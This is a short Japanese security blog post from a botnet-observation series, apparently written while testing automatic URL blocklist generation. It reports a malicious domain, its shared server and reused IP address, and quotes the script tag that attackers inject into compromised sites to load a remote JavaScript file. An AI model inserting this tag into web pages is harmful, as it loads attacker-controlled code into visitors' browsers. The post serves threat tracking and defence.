cNotes 検索 一覧 カテゴリ

www.414151.com

Published: 2008/04/05

URLBLの自動作成テスト中に引っかかったものの一つ。既知なものかどうかわかりませんが、とりあえず一連の攻撃のあたらしいバリエーションかな?

ドメインは「nmidahena.com」と同じサーバーで管理されている数十のドメインの中の一つで、IPアドレスは「www.2117966.com」で使用されていた最後のアドレス「60.172.219.4」が流用されています。

インジェクションされるのは

 <script src=http://www.414151.com/fjp.js>

です。(アクセスしないでください。)

当然今現在でもアクセス可能。またたくさんの被害サイトが生まれているようです。

[カテゴリ:botnet観察日記]

by jyake